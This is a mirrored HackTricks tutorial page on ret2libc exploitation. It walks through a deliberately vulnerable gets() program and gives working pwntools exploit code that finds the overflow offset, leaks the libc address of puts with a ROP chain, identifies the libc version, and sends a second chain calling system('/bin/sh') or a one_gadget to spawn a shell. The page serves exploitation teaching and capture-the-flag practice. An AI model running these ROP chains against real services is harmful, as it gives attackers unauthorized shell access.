mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			333 lines
		
	
	
		
			13 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			333 lines
		
	
	
		
			13 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Leaking libc address with ROP
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 | |
| 
 | |
| ## Quick Resume
 | |
| 
 | |
| 1. **Find** overflow **offset**
 | |
| 2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN`
 | |
| 3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
 | |
| 4. With the library, **calculate the ROP and exploit it**
 | |
| 
 | |
| ## Other tutorials and binaries to practice
 | |
| 
 | |
| This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
 | |
| Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
 | |
| 
 | |
| ## Code
 | |
| 
 | |
| Filename: `vuln.c`
 | |
| 
 | |
| ```c
 | |
| #include <stdio.h>
 | |
| 
 | |
| int main() {
 | |
|     char buffer[32];
 | |
|     puts("Simple ROP.\n");
 | |
|     gets(buffer);
 | |
| 
 | |
|     return 0;
 | |
| }
 | |
| ```
 | |
| 
 | |
| ```bash
 | |
| gcc -o vuln vuln.c -fno-stack-protector -no-pie
 | |
| ```
 | |
| 
 | |
| ## ROP - Leaking LIBC template
 | |
| 
 | |
| I'm going to use the code located here to make the exploit.\
 | |
| Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
 | |
| 
 | |
| {% content-ref url="rop-leaking-libc-template.md" %}
 | |
| [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
 | |
| {% endcontent-ref %}
 | |
| 
 | |
| ## 1- Finding the offset
 | |
| 
 | |
| The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
 | |
| 
 | |
| ```bash
 | |
| ###################
 | |
| ### Find offset ###
 | |
| ###################
 | |
| OFFSET = ""#"A"*72
 | |
| if OFFSET == "":
 | |
|     gdb.attach(p.pid, "c") #Attach and continue
 | |
|     payload = cyclic(1000)
 | |
|     print(r.clean())
 | |
|     r.sendline(payload)
 | |
|     #x/wx $rsp -- Search for bytes that crashed the application
 | |
|     #cyclic_find(0x6161616b) # Find the offset of those bytes
 | |
|     return
 | |
| ```
 | |
| 
 | |
| **Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
 | |
| 
 | |
| ```python
 | |
| from pwn import *
 | |
| cyclic_find(0x6161616b)
 | |
| ```
 | |
| 
 | |
| .png>)
 | |
| 
 | |
| After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
 | |
| `OFFSET = "A" * 40`
 | |
| 
 | |
| Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
 | |
| 
 | |
| ## 2- Finding Gadgets
 | |
| 
 | |
| Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
 | |
| 
 | |
| ```python
 | |
| PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 | |
| MAIN_PLT = elf.symbols['main']
 | |
| POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
 | |
| RET = (rop.find_gadget(['ret']))[0]
 | |
| 
 | |
| log.info("Main start: " + hex(MAIN_PLT))
 | |
| log.info("Puts plt: " + hex(PUTS_PLT))
 | |
| log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
 | |
| ```
 | |
| 
 | |
| The `PUTS_PLT` is needed to call the **function puts**.\
 | |
| The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
 | |
| The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
 | |
| 
 | |
| In this step you don't need to execute anything as everything will be found by pwntools during the execution.
 | |
| 
 | |
| ## 3- Finding libc library
 | |
| 
 | |
| Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
 | |
| 
 | |
| ```python
 | |
| def get_addr(func_name):
 | |
|     FUNC_GOT = elf.got[func_name]
 | |
|     log.info(func_name + " GOT @ " + hex(FUNC_GOT))
 | |
|     # Create rop chain
 | |
|     rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 | |
| 
 | |
|     #Send our rop-chain payload
 | |
|     #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
 | |
|     print(p.clean()) # clean socket buffer (read all and print)
 | |
|     p.sendline(rop1)
 | |
| 
 | |
|     #Parse leaked address
 | |
|     recieved = p.recvline().strip()
 | |
|     leak = u64(recieved.ljust(8, "\x00"))
 | |
|     log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
 | |
|     #If not libc yet, stop here
 | |
|     if libc != "":
 | |
|         libc.address = leak - libc.symbols[func_name] #Save libc base
 | |
|         log.info("libc base @ %s" % hex(libc.address))
 | |
|     
 | |
|     return hex(leak)
 | |
| 
 | |
| get_addr("puts") #Search for puts address in memmory to obtains libc base
 | |
| if libc == "":
 | |
|     print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
 | |
|     p.interactive()
 | |
| ```
 | |
| 
 | |
| To do so, the most important line of the executed code is:
 | |
| 
 | |
| ```python
 | |
| rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 | |
| ```
 | |
| 
 | |
| This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
 | |
| Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
 | |
| After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
 | |
| Finally, **main function is called again** so we can exploit the overflow again.
 | |
| 
 | |
| This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
 | |
| 
 | |
| .png>)
 | |
| 
 | |
| As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
 | |
| But, in a remote exploit case I will explain here how can you find it:
 | |
| 
 | |
| ### 3.1- Searching for libc version (1)
 | |
| 
 | |
| You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
 | |
| It will also allow you to download the discovered version of **libc**
 | |
| 
 | |
| .png>)
 | |
| 
 | |
| ### 3.2- Searching for libc version (2)
 | |
| 
 | |
| You can also do:
 | |
| 
 | |
| * `$ git clone https://github.com/niklasb/libc-database.git`
 | |
| * `$ cd libc-database`
 | |
| * `$ ./get`
 | |
| 
 | |
| This will take some time, be patient.\
 | |
| For this to work we need:
 | |
| 
 | |
| * Libc symbol name: `puts`
 | |
| * Leaked libc adddress: `0x7ff629878690`
 | |
| 
 | |
| We can figure out which **libc** that is most likely used.
 | |
| 
 | |
| ```bash
 | |
| ./find puts 0x7ff629878690
 | |
| ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 | |
| archive-glibc (id libc6_2.23-0ubuntu11_amd64)
 | |
| ```
 | |
| 
 | |
| We get 2 matches (you should try the second one if the first one is not working). Download the first one:
 | |
| 
 | |
| ```bash
 | |
| ./download libc6_2.23-0ubuntu10_amd64
 | |
| Getting libc6_2.23-0ubuntu10_amd64
 | |
|   -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
 | |
|   -> Downloading package
 | |
|   -> Extracting package
 | |
|   -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
 | |
| ```
 | |
| 
 | |
| Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
 | |
| 
 | |
| ### 3.3- Other functions to leak
 | |
| 
 | |
| ```python
 | |
| puts
 | |
| printf
 | |
| __libc_start_main
 | |
| read
 | |
| gets
 | |
| ```
 | |
| 
 | |
| ## 4- Finding based libc address & exploiting
 | |
| 
 | |
| At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
 | |
| 
 | |
| So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
 | |
| 
 | |
| Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
 | |
| 
 | |
| Inside the `get_addr`function the **base address of libc** is going to be calculated:
 | |
| 
 | |
| ```python
 | |
| if libc != "":
 | |
|     libc.address = leak - libc.symbols[func_name] #Save libc base
 | |
|     log.info("libc base @ %s" % hex(libc.address))
 | |
| ```
 | |
| 
 | |
| {% hint style="info" %}
 | |
| Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
 | |
| {% endhint %}
 | |
| 
 | |
| Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
 | |
| 
 | |
| ```python
 | |
| BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
 | |
| SYSTEM = libc.sym["system"]
 | |
| EXIT = libc.sym["exit"]
 | |
| 
 | |
| log.info("bin/sh %s " % hex(BINSH))
 | |
| log.info("system %s " % hex(SYSTEM))
 | |
| ```
 | |
| 
 | |
| Finally, the /bin/sh execution exploit is going to be prepared sent:
 | |
| 
 | |
| ```python
 | |
| rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
 | |
| 
 | |
| p.clean()
 | |
| p.sendline(rop2)
 | |
| 
 | |
| #### Interact with the shell #####
 | |
| p.interactive() #Interact with the conenction
 | |
| ```
 | |
| 
 | |
| Let's explain this final ROP.\
 | |
| The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
 | |
| Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
 | |
| 
 | |
| **This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
 | |
| 
 | |
| .png>)
 | |
| 
 | |
| ## 4(2)- Using ONE\_GADGET
 | |
| 
 | |
| You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
 | |
| However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
 | |
| 
 | |
| .png>)
 | |
| 
 | |
| ```python
 | |
| ONE_GADGET = libc.address + 0x4526a
 | |
| rop2 = base + p64(ONE_GADGET) + "\x00"*100
 | |
| ```
 | |
| 
 | |
| ## EXPLOIT FILE
 | |
| 
 | |
| You can find a template to exploit this vulnerability here:
 | |
| 
 | |
| {% content-ref url="rop-leaking-libc-template.md" %}
 | |
| [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
 | |
| {% endcontent-ref %}
 | |
| 
 | |
| ## Common problems
 | |
| 
 | |
| ### MAIN\_PLT = elf.symbols\['main'] not found
 | |
| 
 | |
| If the "main" symbol does not exist. Then you can find where is the main code:
 | |
| 
 | |
| ```python
 | |
| objdump -d vuln_binary | grep "\.text"
 | |
| Disassembly of section .text:
 | |
| 0000000000401080 <.text>:
 | |
| ```
 | |
| 
 | |
| and set the address manually:
 | |
| 
 | |
| ```python
 | |
| MAIN_PLT = 0x401080
 | |
| ```
 | |
| 
 | |
| ### Puts not found
 | |
| 
 | |
| If the binary is not using Puts you should check if it is using
 | |
| 
 | |
| ### `sh: 1: %s%s%s%s%s%s%s%s: not found`
 | |
| 
 | |
| If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
 | |
| 
 | |
| Try to **subtract 64 bytes to the address of "/bin/sh"**:
 | |
| 
 | |
| ```python
 | |
| BINSH = next(libc.search("/bin/sh")) - 64
 | |
| ```
 | |
| 
 | |
| {% hint style="success" %}
 | |
| Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 | |
| Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 | |
| 
 | |
| <details>
 | |
| 
 | |
| <summary>Support HackTricks</summary>
 | |
| 
 | |
| * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 | |
| * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 | |
| * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 | |
| 
 | |
| </details>
 | |
| {% endhint %}
 |